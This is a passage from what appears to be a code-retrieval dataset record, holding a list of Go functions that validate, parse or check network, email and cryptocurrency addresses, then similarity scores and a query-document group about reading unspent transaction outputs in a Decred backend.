{\n\t\t\t\ta.Name = v\n\t\t\t} else if strings.EqualFold(k, \"email\") {\n\t\t\t\ta.Email = v\n\t\t\t} else if strings.EqualFold(k, \"header_to\") {\n\t\t\t\ta.HeaderTo = v\n\t\t\t}\n\t\t}\n\n\tdefault:\n\t\terr = errors.Errorf(\"unsupported Recipient.Address value type [%T]\", addrVal)\n\t}\n\n\treturn\n}", "func (n *Node) CheckAddressKnown(addr net.NodeAddr) bool {\n\tif !n.NodeNet.CheckIsKnown(addr) {\n\t\t// send him all addresses\n\t\tn.Logger.Trace.Printf(\"sending list of address to %s , %s\", addr.NodeAddrToString(), n.NodeNet.Nodes)\n\t\tn.NodeClient.SendAddrList(addr, n.NodeNet.Nodes)\n\n\t\tn.NodeNet.AddNodeToKnown(addr)\n\n\t\treturn true\n\t}\n\n\treturn false\n}", "func IsValidCryptoAddress(address, crypto string) (bool, error) {\n\tswitch strings.ToLower(crypto) {\n\tcase \"btc\":\n\t\treturn regexp.MatchString(\"^(bc1|[13])[a-zA-HJ-NP-Z0-9]{25,90}$\", address)\n\tcase \"ltc\":\n\t\treturn regexp.MatchString(\"^[L3M][a-km-zA-HJ-NP-Z1-9]{25,34}$\", address)\n\tcase \"eth\":\n\t\treturn regexp.MatchString(\"^0x[a-km-z0-9]{40}$\", address)\n\tdefault:\n\t\treturn false, fmt.Errorf(\"%w %s\", errInvalidCryptoCurrency, crypto)\n\t}\n}", "func ParseAddress(address string) (string, int) {\n\tmatch, err := gregex.MatchString(`^(.+):(\\d+)$`, address)\n\tif err == nil {\n\t\ti, _ := strconv.Atoi(match[2])\n\t\treturn match[1], i\n\t}\n\treturn \"\", 0\n}", "func validatePublicKeyAddress(publicKey ecdsa.PublicKey, address string) bool {\n\treturn publicKeyToAddress(publicKey) == address\n}", "func (a Authenticate) HasAddress(ctx weave.Context, addr weave.Address) bool {\n\tfor _, s := range a.GetConditions(ctx) {\n\t\tif addr.Equals(s.Address()) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "func (addressBook *AddressHelper) CheckAddressHelper(req *http.Request) (*http.Request, bool) {\n\tu, b := addressBook.CheckAddressHelperString(req.URL.String())\n\tif !b {\n\t\tdii2perrs.Warn(nil, \"addresshelper.go !b\"+u, \"addresshelper.go !b\"+u)\n\t\treturn addressBook.request(req, u), true\n\t}\n\treturn req, false\n}", "func main() {\n\tvalidIPAddress(\"1.0.1.\")\n}", "func validateIPAddress(ipAddress string) error {\n\tif net.ParseIP(ipAddress) == nil {\n\t\treturn ErrInvalidIPAddress\n\t}\n\treturn nil\n}", "func (r *Address) Verify() error {\n\tswitch r.Version {\n\tcase P2KH:\n\tcase P2SH:\n\tdefault:\n\t\treturn errors.New(\"invalid address type\")\n\t}\n\n\tswitch r.Network {\n\tcase RegTest:\n\tcase TestNet:\n\tcase MainNet:\n\tdefault:\n\t\treturn errors.New(\"invalid network\")\n\t}\n\n\treturn nil\n}", "func ValidFCTAddress(addr string) bool {\n\treturn len(addr) > 2 && addr[:2] == \"FA\" && factom.IsValidAddress(addr)\n}", "func (w *Wallet) HasAddress(s *aklib.DBConfig, out *tx.MultiSigOut) (bool, error) {\n\tfor _, mout := range out.Addresses {\n\t\tfor a := range w.AddressPublic {\n\t\t\tadrstr, err := address.Address58(s.Config, mout)\n\t\t\tif err != nil {\n\t\t\t\treturn false, err\n\t\t\t}\n\t\t\tif a == adrstr {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t}\n\t}\n\treturn false, nil\n}", "func (t *OpenconfigInterfaces_Interfaces_Interface_RoutedVlan_Ipv6_Addresses_Address) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"OpenconfigInterfaces_Interfaces_Interface_RoutedVlan_Ipv6_Addresses_Address\"], t, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (t *OpenconfigInterfaces_Interfaces_Interface_RoutedVlan_Ipv4_Addresses_Address) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"OpenconfigInterfaces_Interfaces_Interface_RoutedVlan_Ipv4_Addresses_Address\"], t, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func TrimAddress(r rune) bool {\n\tif strings.ContainsRune(validRunes, r) {\n\t\treturn false\n\t}\n\treturn true\n}", "func MustParseAddr(s string) Addr {\n\ta, err := ParseAddr(s)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn a\n}", "func validateEmailAddress(address string) bool{\n\tre := regexp.MustCompile(\"^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$\") //regex for email structure;\n\t\n\treturn re.MatchString(address)\n}", "func Test_validIPAddress(t *testing.T) {\n\tcases := []struct {\n\t\tname, input, expected string\n\t}{\n\t\t{\"x1\", \"172.16.254.1\", \"IPv4\"},\n\t\t{\"x2\", \"2001:0db8:85a3:0:0:8A2E:0370:7334\", \"IPv6\"},\n\t\t{\"x3\", \"256.256.256.256\", \"Neither\"},\n\t}\n\n\tfor _, tt := range cases {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tif output := validIPAddress(tt.input); output != tt.expected {\n\t\t\t\tt.Errorf(\"validIPAddress(%s)=%s, expected=%s\", tt.input, output, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}", "func (a *Address) IsValid(chain ChainID) bool {\n\tcodeWord := a.uint64()\n\tcodeWord ^= chainCustomizer(chain)\n\n\tif codeWord == 0 {\n\t\treturn false\n\t}\n\n\t// Multiply the code word GF(2)-vector by the parity-check matrix\n\tparity := uint(0)\n\tfor i := 0; i < linearCodeN; i++ {\n\t\tif codeWord&1 == 1 {\n\t\t\tparity ^= parityCheckMatrixColumns[i]\n\t\t}\n\t\tcodeWord >>= 1\n\t}\n\treturn parity == 0\n}", "func TestInvalidAddress(t *testing.T) {\n\tt.Run(\"FetchChain\", func(t *testing.T) {\n\t\t_, err := FetchChain(\"iamateapot:418\")\n\t\tif err == nil {\n\t\t\tt.Errorf(\"Expected failure when calling with an invalid address, err is nil\")\n\t\t}\n\t})\n\n\tt.Run(\"Expired\", func(t *testing.T) {\n\t\t_, err := Expired(\"iamateapot:418\")\n\t\tif err == nil {\n\t\t\tt.Errorf(\"Expected failure when calling with an invalid address, err is nil\")\n\t\t}\n\t})\n\n\tt.Run(\"ExiresWithinDays\", func(t *testing.T) {\n\t\t_, err := ExpiresWithinDays(\"iamateapot:418\", 30)\n\t\tif err == nil {\n\t\t\tt.Errorf(\"Expected failure when calling with an invalid address, err is nil\")\n\t\t}\n\t})\n\n\tt.Run(\"ExpiresBeforeDate\", func(t *testing.T) {\n\t\t_, err := ExpiresBeforeDate(\"iamateapot:418\", time.Now())\n\t\tif err == nil {\n\t\t\tt.Errorf(\"Expected failure when calling with an invalid address, err is nil\")\n\t\t}\n\t})\n}", "func (s *OpenconfigInterfaces_Interfaces_Interface_Tunnel_Ipv4_Addresses_Address) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"OpenconfigInterfaces_Interfaces_Interface_Tunnel_Ipv4_Addresses_Address\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (o *IamIpAddress) HasAddress() bool {\n\tif o != nil && o.Address != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func IsPrivateAddress(address string) (bool, error) {\n\tipAddress := net.ParseIP(address)\n\tif ipAddress == nil {\n\t\treturn false, errors.New(\"address is not valid\")\n\t}\n\n\tfor i := range cidrs {\n\t\tif cidrs[i].Contains(ipAddress) {\n\t\t\treturn true, nil\n\t\t}\n\t}\n\n\treturn false, nil\n}", "func DecodeAddress(address string) (*Address, error) {\n\t// if address[:3] == \"BM-\" { // Clients should accept addresses without BM-\n\t//\taddress = address[3:]\n\t// }\n\t//\n\t// decodeAddress says this but then UI checks for a missingbm status from\n\t// decodeAddress, which doesn't exist. So I choose NOT to accept addresses\n\t// without the initial \"BM-\"\n\n\ti, err := base58.DecodeToBig([]byte(address[3:]))\n\tif err != nil {\n\t\treturn nil, errors.New(\"input address not valid base58 string\")\n\t}\n\tdata := i.Bytes()\n\n\thashData := data[:len(data)-4]\n\tchecksum := data[len(data)-4:]\n\n\t// Take two rounds of SHA512 hashes\n\tsha := sha512.New()\n\tsha.Write(hashData)\n\tcurrentHash := sha.Sum(nil)\n\tsha.Reset()\n\tsha.Write(currentHash)\n\n\tif !bytes.Equal(checksum, sha.Sum(nil)[0:4]) {\n\t\treturn nil, errors.New(\"checksum failed\")\n\t}\n\t// create the address\n\taddr := new(Address)\n\n\tbuf := bytes.NewReader(data)\n\n\terr = addr.Version.DeserializeReader(buf) // get the version\n\tif err != nil {\n\t\treturn nil, types.DeserializeFailedError(\"version: \" + err.Error())\n\t}\n\n\terr = addr.Stream.DeserializeReader(buf)\n\tif err != nil {\n\t\treturn nil, types.DeserializeFailedError(\"stream: \" + err.Error())\n\t}\n\n\tripe := make([]byte, buf.Len()-4) // exclude bytes already read and checksum\n\tn, err := buf.Read(ripe)\n\tif n != len(ripe) || err != nil {\n\t\treturn nil, types.DeserializeFailedError(\"ripe: \" + err.Error())\n\t}\n\n\tswitch addr.Version {\n\tcase 2:\n\t\tfallthrough\n\tcase 3:\n\t\tif len(ripe) > 20 || len(ripe) < 18 { // improper size\n\t\t\treturn nil, errors.New(\"version 3, the ripe length is invalid\")\n\t\t}\n\tcase 4:\n\t\t// encoded ripe data MUST have null bytes removed from front\n\t\tif ripe[0] == 0x00 {\n\t\t\treturn nil, errors.New(\"version 4, ripe data has null bytes in\" +\n\t\t\t\t\" the beginning, not properly encoded\")\n\t\t}\n\t\tif len(ripe) > 20 || len(ripe) < 4 { // improper size\n\t\t\treturn nil, errors.New(\"version 4, the ripe length is invalid\")\n\t\t}\n\tdefault:\n\t\treturn nil, errors.New(\"unsupported address version\")\n\t}\n\n\t// prepend null bytes to make sure that the total ripe length is 20\n\tnumPadding := 20 - len(ripe)\n\tripe = append(make([]byte, numPadding), ripe...)\n\tcopy(addr.Ripe[:], ripe)\n\n\treturn addr, nil\n}", "func (s *OpenconfigInterfaces_Interfaces_Interface_RoutedVlan_Ipv4_Addresses_Address) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"OpenconfigInterfaces_Interfaces_Interface_RoutedVlan_Ipv4_Addresses_Address\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (c *Client) VerifyAddress(data string) (map[string]interface{}, error) {\n\tlog.info(\"========== VERIFY ADDRESS ==========\")\n\turl := buildURL(\"address-verification\")\n\n\treturn c.do(\"POST\", url, data, nil)\n}", "func (s *OpenconfigInterfaces_Interfaces_Interface_RoutedVlan_Ipv6_Addresses_Address) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"OpenconfigInterfaces_Interfaces_Interface_RoutedVlan_Ipv6_Addresses_Address\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func ParseAddress(address []byte, options AddressParserOptions) *AddressParserResponse {\n\tcaddress, _ := (*C.char)(unsafe.Pointer((*sliceHeader)(unsafe.Pointer(&address)).Data)), cgoAllocsUnknown\n\tcoptions, _ := options.PassValue()\n\t__ret := C.parse_address(caddress, coptions)\n\t__v := NewAddressParserResponseRef(unsafe.Pointer(__ret))\n\treturn __v\n}", "func (o *V0037Node) HasAddress() bool {\n\tif o != nil && o.Address != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (s *OpenconfigInterfaces_Interfaces_Interface_Tunnel_Ipv6_Addresses_Address) Validate(opts ...ygot.ValidationOption) error {\n\tif err := ytypes.Validate(SchemaTree[\"OpenconfigInterfaces_Interfaces_Interface_Tunnel_Ipv6_Addresses_Address\"], s, opts...); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (i *TestITP) CheckRecipientAddress(ctx context.Context, c *InboundConnection, address *AddressString) (*ICResponse, error) {\n\treturn i.r, i.err\n}", "func (f *wsClientFilter) existsAddress(a btcutil.Address) bool {\n\tswitch a := a.(type) {\n\tcase *btcutil.AddressPubKeyHash:\n\t\t_, ok := f.pubKeyHashes[*a.Hash160()]\n\t\treturn ok\n\tcase *btcutil.AddressScriptHash:\n\t\t_, ok := f.scriptHashes[*a.Hash160()]\n\t\treturn ok\n\tcase *btcutil.AddressPubKey:\n\t\tserializedPubKey := a.ScriptAddress()\n\t\tswitch len(serializedPubKey) {\n\t\tcase 33: // compressed\n\t\t\tvar compressedPubKey [33]byte\n\t\t\tcopy(compressedPubKey[:], serializedPubKey)\n\t\t\t_, ok := f.compressedPubKeys[compressedPubKey]\n\t\t\tif !ok {\n\t\t\t\t_, ok = f.pubKeyHashes[*a.AddressPubKeyHash().Hash160()]\n\t\t\t}\n\t\t\treturn ok\n\t\tcase 65: // uncompressed\n\t\t\tvar uncompressedPubKey [65]byte\n\t\t\tcopy(uncompressedPubKey[:], serializedPubKey)\n\t\t\t_, ok := f.uncompressedPubKeys[uncompressedPubKey]\n\t\t\tif !ok {\n\t\t\t\t_, ok = f.pubKeyHashes[*a.AddressPubKeyHash().Hash160()]\n\t\t\t}\n\t\t\treturn ok\n\t\t}\n\t}\n\n\t_, ok := f.otherAddresses[a.EncodeAddress()]\n\treturn ok\n}", "func ParseAddress(address string) (*ParsedAddress, error) {\n\taddressParts := &ParsedAddress{}\n\taddressList := strings.Split(address, \"/\")\n\tif len(addressList) != 3 {\n\t\treturn addressParts, logThenErrorf(\"invalid address string %s\", address)\n\t}\n\n\taddressParts = &ParsedAddress{\n\t\tLocationSegment: addressList[0],\n\t\tNetworkSegment: addressList[1],\n\t\tViewSegment: addressList[2],\n\t}\n\n\treturn addressParts, nil\n}", "func AddressParserParse(p *mail.AddressParser, address string) (*mail.Address, error)", "func ContainsAddress(addrs []Address, a Address) bool {\n\treturn IndexOfAddress(addrs, a) != -1\n}", "func (m *MailConfig) CheckMailAddress() error {\n\tif m.Address == \"\" || strings.Contains(m.Address, \"@\") || len(strings.Trim(m.Address, \"@\")) > 3 {\n\t\treturn errors.New(\"Email address not valid.\")\n\t}\n\treturn nil\n}" ]
[ "0.77516484", "0.76057404", "0.7435058", "0.7387827", "0.7387773", "0.7380567", "0.73167384", "0.7311681", "0.72945404", "0.72831154", "0.72659653", "0.724591", "0.7228436", "0.7149688", "0.7028857", "0.69365233", "0.6846989", "0.6729899", "0.66766006", "0.6654117", "0.66411144", "0.6627799", "0.66015524", "0.6568424", "0.65082234", "0.6451616", "0.6399291", "0.6374998", "0.63508004", "0.6329507", "0.6297395", "0.6278595", "0.6270199", "0.626831", "0.626802", "0.6241748", "0.62332064", "0.62032545", "0.61370665", "0.6095265", "0.6095054", "0.6073968", "0.60020757", "0.59933954", "0.59916764", "0.5978462", "0.5975871", "0.59751856", "0.59732926", "0.59652835", "0.59520066", "0.5951545", "0.5935722", "0.5934882", "0.5920665", "0.5916087", "0.59143275", "0.5906064", "0.5889048", "0.58660287", "0.5865809", "0.58570045", "0.58551335", "0.58395964", "0.5833731", "0.5831585", "0.58291334", "0.58228713", "0.58176976", "0.5804645", "0.580232", "0.5797814", "0.5796534", "0.5772882", "0.5771647", "0.5741801", "0.5740724", "0.57288533", "0.5724723", "0.57240665", "0.57017636", "0.56961244", "0.56854427", "0.5674867", "0.5666485", "0.56514275", "0.56445056", "0.5639943", "0.5627535", "0.5626365", "0.5625197", "0.5615505", "0.5614939", "0.5608414", "0.56048423", "0.5602547", "0.5599677", "0.5590957", "0.55894405", "0.5560422" ]
0.7527266
2
UnspentDetails gets the recipient address, value, and confs of an unspent P2PKH transaction output. If the utxo does not exist or has a pubkey script of the wrong type, an error will be returned.
func (dcr *DCRBackend) UnspentDetails(txid string, vout uint32) (string, uint64, int64, error) { txHash, err := chainhash.NewHashFromStr(txid) if err != nil { return "", 0, -1, fmt.Errorf("error decoding tx ID %s: %v", txid, err) } txOut, pkScript, err := dcr.getUnspentTxOut(txHash, vout) if err != nil { return "", 0, -1, err } scriptType := dexdcr.ParseScriptType(dexdcr.CurrentScriptVersion, pkScript, nil) if scriptType == dexdcr.ScriptUnsupported { return "", 0, -1, dex.UnsupportedScriptError } if !scriptType.IsP2PKH() { return "", 0, -1, dex.UnsupportedScriptError } scriptAddrs, err := dexdcr.ExtractScriptAddrs(pkScript, chainParams) if err != nil { return "", 0, -1, fmt.Errorf("error parsing utxo script addresses") } if scriptAddrs.NumPK != 0 { return "", 0, -1, fmt.Errorf("pubkey addresses not supported for P2PKHDetails") } if scriptAddrs.NumPKH != 1 { return "", 0, -1, fmt.Errorf("multi-sig not supported for P2PKHDetails") } return scriptAddrs.PkHashes[0].String(), toAtoms(txOut.Value), txOut.Confirmations, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func ListUnspentInfo(rsp http.ResponseWriter, req *http.Request) {\r\n\terrcode := ListUnspentInfo_ErrorCode\r\n\tvars := mux.Vars(req)\r\n\tmh, err := gHandle.MongoHandle(vars[\"type\"])\r\n\tif err != nil {\r\n\t\trsp.Write(common.MakeResponseWithErr(errcode-1, err))\r\n\t\treturn\r\n\t}\r\n\tfragment := common.StartTrace(\"ListUnspentInfo db1\")\r\n\trst, err := mh.GetAddrUnspentInfo(vars[\"address\"])\r\n\tfragment.StopTrace(0)\r\n\tif err != nil {\r\n\t\trsp.Write(common.MakeResponseWithErr(errcode-2, err))\r\n\t\treturn\r\n\t}\r\n\r\n\trsp.Write(common.MakeOkRspByData(rst))\r\n}", "func (dcr *DCRBackend) getUnspentTxOut(txHash *chainhash.Hash, vout uint32) (*chainjson.GetTxOutResult, []byte, error) {\n\ttxOut, err := dcr.node.GetTxOut(txHash, vout, true)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"GetTxOut error for output %s:%d: %v\", txHash, vout, err)\n\t}\n\tif txOut == nil {\n\t\treturn nil, nil, fmt.Errorf(\"UTXO - no unspent txout found for %s:%d\", txHash, vout)\n\t}\n\tpkScript, err := hex.DecodeString(txOut.ScriptPubKey.Hex)\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"failed to decode pubkey script from '%s' for output %s:%d\", txOut.ScriptPubKey.Hex, txHash, vout)\n\t}\n\treturn txOut, pkScript, nil\n}", "func getUnspent(addr string, page int) (string, error) {\n\turl := bitcoinCashAPI + \"/address/\" + addr + \"/unspent?pagesize=\" +\n\t\tstrconv.Itoa(defaultPageSize) + \"&page=\" + strconv.Itoa(page)\n\n\tres, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tif res.StatusCode != 200 {\n\t\treturn \"\", errors.New(\"request failed\")\n\t}\n\n\tcontent, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(content), nil\n}", "func (c *Client) AddressUnspentTransactionDetails(ctx context.Context, address string, maxTransactions int) (history AddressHistory, err error) {\n\n\t// Get the address UTXO history\n\tvar utxos AddressHistory\n\tif utxos, err = c.AddressUnspentTransactions(ctx, address); err != nil {\n\t\treturn\n\t} else if len(utxos) == 0 {\n\t\treturn\n\t}\n\n\t// Do we have a \"custom max\" amount?\n\tif maxTransactions > 0 {\n\t\ttotal := len(utxos)\n\t\tif total > maxTransactions {\n\t\t\tutxos = utxos[:total-(total-maxTransactions)]\n\t\t}\n\t}\n\n\t// Break up the UTXOs into batches\n\tvar batches []AddressHistory\n\tchunkSize := MaxTransactionsUTXO\n\n\tfor i := 0; i < len(utxos); i += chunkSize {\n\t\tend := i + chunkSize\n\n\t\tif end > len(utxos) {\n\t\t\tend = len(utxos)\n\t\t}\n\n\t\tbatches = append(batches, utxos[i:end])\n\t}\n\n\t// todo: use channels/wait group to fire all requests at the same time (rate limiting)\n\n\t// Loop Batches - and get each batch (multiple batches of MaxTransactionsUTXO)\n\tfor _, batch := range batches {\n\n\t\ttxHashes := new(TxHashes)\n\n\t\t// Loop the batch (max MaxTransactionsUTXO)\n\t\tfor _, utxo := range batch {\n\n\t\t\t// Append to the list to send and return\n\t\t\ttxHashes.TxIDs = append(txHashes.TxIDs, utxo.TxHash)\n\t\t\thistory = append(history, utxo)\n\t\t}\n\n\t\t// Get the tx details (max of MaxTransactionsUTXO)\n\t\tvar txList TxList\n\t\tif txList, err = c.BulkTransactionDetails(ctx, txHashes); err != nil {\n\t\t\treturn\n\t\t}\n\n\t\t// Add to the history list\n\t\tfor index, tx := range txList {\n\t\t\tfor _, utxo := range history {\n\t\t\t\tif utxo.TxHash == tx.TxID {\n\t\t\t\t\tutxo.Info = txList[index]\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn\n}", "func GetAddressUnspent(addr string, page int, pagesize int) (*model.AddressUnspent, error) {\n\turl := fmt.Sprintf(bchapi.AddressUnspentUrl, addr, page, pagesize)\n\tresult, err := bchapi.HttpGet(url, bchapi.ConnTimeoutMS, bchapi.ServeTimeoutMS)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\taddressUnspent, err := model.StringToAddressUnspent(result)\n\treturn addressUnspent, err\n}", "func GetUnspentOutputCoins(rpcClient *rpcclient.HttpClient, keyWallet *wallet.KeyWallet) ([]*crypto.OutputCoin, error) {\n\tprivateKey := &keyWallet.KeySet.PrivateKey\n\tpaymentAddressStr := keyWallet.Base58CheckSerialize(wallet.PaymentAddressType)\n\tviewingKeyStr := keyWallet.Base58CheckSerialize(wallet.ReadonlyKeyType)\n\n\toutputCoins, err := GetListOutputCoins(rpcClient, paymentAddressStr, viewingKeyStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tserialNumbers, err := DeriveSerialNumbers(privateKey, outputCoins)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tisExisted, err := CheckExistenceSerialNumber(rpcClient, paymentAddressStr, serialNumbers)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tutxos := make([]*crypto.OutputCoin, 0)\n\tfor i, out := range outputCoins {\n\t\tif !isExisted[i] {\n\t\t\tutxos = append(utxos, out)\n\t\t}\n\t}\n\n\treturn utxos, nil\n}", "func CreateUnspent(bh BlockHeader, txn Transaction, outIndex int) (UxOut, error) {\n\tif outIndex < 0 || outIndex >= len(txn.Out) {\n\t\treturn UxOut{}, fmt.Errorf(\"Transaction out index overflows transaction outputs\")\n\t}\n\n\tvar h cipher.SHA256\n\t// The genesis block uses the null hash as the SrcTransaction [FIXME hardfork]\n\tif bh.BkSeq != 0 {\n\t\th = txn.Hash()\n\t}\n\n\treturn UxOut{\n\t\tHead: UxHead{\n\t\t\tTime: bh.Time,\n\t\t\tBkSeq: bh.BkSeq,\n\t\t},\n\t\tBody: UxBody{\n\t\t\tSrcTransaction: h,\n\t\t\tAddress: txn.Out[outIndex].Address,\n\t\t\tCoins: txn.Out[outIndex].Coins,\n\t\t\tHours: txn.Out[outIndex].Hours,\n\t\t},\n\t}, nil\n}", "func CreateUnspent(bh BlockHeader, tx Transaction, outIndex int) (UxOut, error) {\n\tif len(tx.Out) <= outIndex {\n\t\treturn UxOut{}, fmt.Errorf(\"Transaction out index is overflow\")\n\t}\n\n\tvar h cipher.SHA256\n\tif bh.BkSeq != 0 {\n\t\th = tx.Hash()\n\t}\n\n\treturn UxOut{\n\t\tHead: UxHead{\n\t\t\tTime: bh.Time,\n\t\t\tBkSeq: bh.BkSeq,\n\t\t},\n\t\tBody: UxBody{\n\t\t\tSrcTransaction: h,\n\t\t\tAddress: tx.Out[outIndex].Address,\n\t\t\tCoins: tx.Out[outIndex].Coins,\n\t\t\tHours: tx.Out[outIndex].Hours,\n\t\t},\n\t}, nil\n}", "func (b *BlockChain) GetUnspentOutputs(address string) []TxOutput {\n\tvar unspentOuts []TxOutput\n\ttxns := b.GetUnspentTxns(address)\n\n\t// go over each txn and each output in it and collect ones which belongs to this address\n\tfor _, txn := range txns {\n\t\t// iterate over all outputs\n\t\tfor _, output := range txn.Out {\n\t\t\tif output.CheckOutputUnlock(address) {\n\t\t\t\tunspentOuts = append(unspentOuts, output)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn unspentOuts\n}", "func valueUnspentCredit(cred *credit) ([]byte, error) {\n\tif len(cred.scriptHash) != 32 {\n\t\treturn nil, fmt.Errorf(\"short script hash (expect 32 bytes)\")\n\t}\n\tv := make([]byte, 45)\n\tbinary.BigEndian.PutUint64(v, cred.amount.UintValue())\n\tif cred.flags.Change {\n\t\tv[8] |= 1 << 1\n\t}\n\tif cred.flags.Class == ClassStakingUtxo {\n\t\tv[8] |= 1 << 2\n\t}\n\tif cred.flags.Class == ClassBindingUtxo {\n\t\tv[8] |= 1 << 3\n\t}\n\tbinary.BigEndian.PutUint32(v[9:13], cred.maturity)\n\tcopy(v[13:45], cred.scriptHash)\n\treturn v, nil\n}", "func (client *Client) ListUnspent(address string) (Response, error) {\n\n\tmsg := map[string]interface{}{\n\t\t\"jsonrpc\": \"1.0\",\n\t\t\"id\": CONST_ID,\n\t\t\"method\": \"listunspent\",\n\t\t\"params\": []interface{}{\n\t\t\t0,\n\t\t\t999999,\n\t\t\t[]string{\n\t\t\t\taddress,\n\t\t\t},\n\t\t},\n\t}\n\n\tobj, err := client.post(msg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn obj, nil\n}", "func (s *Store) UnspentOutputs() []*RecvTxOut {\n\tunspent := make([]*RecvTxOut, 0, len(s.unspent))\n\tfor _, record := range s.unspent {\n\t\tunspent = append(unspent, record.record(s).(*RecvTxOut))\n\t}\n\treturn unspent\n}", "func GetUnspentOutputCoinsExceptSpendingUTXO(rpcClient *rpcclient.HttpClient, keyWallet *wallet.KeyWallet) ([]*crypto.InputCoin, error) {\n\tpublicKey := keyWallet.KeySet.PaymentAddress.Pk\n\n\t// check and remove utxo cache (these utxos in txs that were confirmed)\n\t//CheckAndRemoveUTXOFromCache(keyWallet.KeySet.PaymentAddress.Pk, inputCoins)\n\tCheckAndRemoveUTXOFromCacheV2(keyWallet.KeySet.PaymentAddress.Pk, rpcClient)\n\n\t// get unspent output coins from network\n\tutxos, err := GetUnspentOutputCoins(rpcClient, keyWallet)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinputCoins := ConvertOutputCoinToInputCoin(utxos)\n\n\t// except spending utxos from unspent output coins\n\tutxosInCache := GetUTXOCacheByPublicKey(publicKey)\n\tfor serialNumberStr, _ := range utxosInCache {\n\t\tfor i, inputCoin := range inputCoins {\n\t\t\tsnStrTmp := base58.Base58Check{}.Encode(inputCoin.CoinDetails.GetSerialNumber().ToBytesS(), common.ZeroByte)\n\t\t\tif snStrTmp == serialNumberStr {\n\t\t\t\tinputCoins = removeElementFromSlice(inputCoins, i)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn inputCoins, nil\n}", "func (dcr *DCRBackend) utxo(txHash *chainhash.Hash, vout uint32, redeemScript []byte) (*UTXO, error) {\n\ttxOut, verboseTx, pkScript, err := dcr.getTxOutInfo(txHash, vout)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tinputNfo, err := dexdcr.InputInfo(pkScript, redeemScript, chainParams)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tscriptType := inputNfo.ScriptType\n\n\t// If it's a pay-to-script-hash, extract the script hash and check it against\n\t// the hash of the user-supplied redeem script.\n\tif scriptType.IsP2SH() {\n\t\tscriptHash, err := dexdcr.ExtractScriptHashByType(scriptType, pkScript)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"utxo error: %v\", err)\n\t\t}\n\t\tif !bytes.Equal(dcrutil.Hash160(redeemScript), scriptHash) {\n\t\t\treturn nil, fmt.Errorf(\"script hash check failed for utxo %s,%d\", txHash, vout)\n\t\t}\n\t}\n\n\tblockHeight := uint32(verboseTx.BlockHeight)\n\tvar blockHash chainhash.Hash\n\tvar lastLookup *chainhash.Hash\n\t// UTXO is assumed to be valid while in mempool, so skip the validity check.\n\tif txOut.Confirmations > 0 {\n\t\tif blockHeight == 0 {\n\t\t\treturn nil, fmt.Errorf(\"no raw transaction result found for tx output with \"+\n\t\t\t\t\"non-zero confirmation count (%s has %d confirmations)\", txHash, txOut.Confirmations)\n\t\t}\n\t\tblk, err := dcr.getBlockInfo(verboseTx.BlockHash)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tblockHeight = blk.height\n\t\tblockHash = blk.hash\n\t} else {\n\t\t// Set the lastLookup to the current tip.\n\t\ttipHash := dcr.blockCache.tipHash()\n\t\tif tipHash != zeroHash {\n\t\t\tlastLookup = &tipHash\n\t\t}\n\t}\n\n\t// Coinbase, vote, and revocation transactions all must mature before\n\t// spending.\n\tvar maturity int64\n\tif scriptType.IsStake() || txOut.Coinbase {\n\t\tmaturity = int64(chainParams.CoinbaseMaturity)\n\t}\n\tif txOut.Confirmations < maturity {\n\t\treturn nil, immatureTransactionError\n\t}\n\n\ttx, err := dcr.transaction(txHash, verboseTx)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error fetching verbose transaction data: %v\", err)\n\t}\n\n\treturn &UTXO{\n\t\tdcr: dcr,\n\t\ttx: tx,\n\t\theight: blockHeight,\n\t\tblockHash: blockHash,\n\t\tvout: vout,\n\t\tmaturity: int32(maturity),\n\t\tscriptType: scriptType,\n\t\tpkScript: pkScript,\n\t\tredeemScript: redeemScript,\n\t\tnumSigs: inputNfo.ScriptAddrs.NRequired,\n\t\t// The total size associated with the 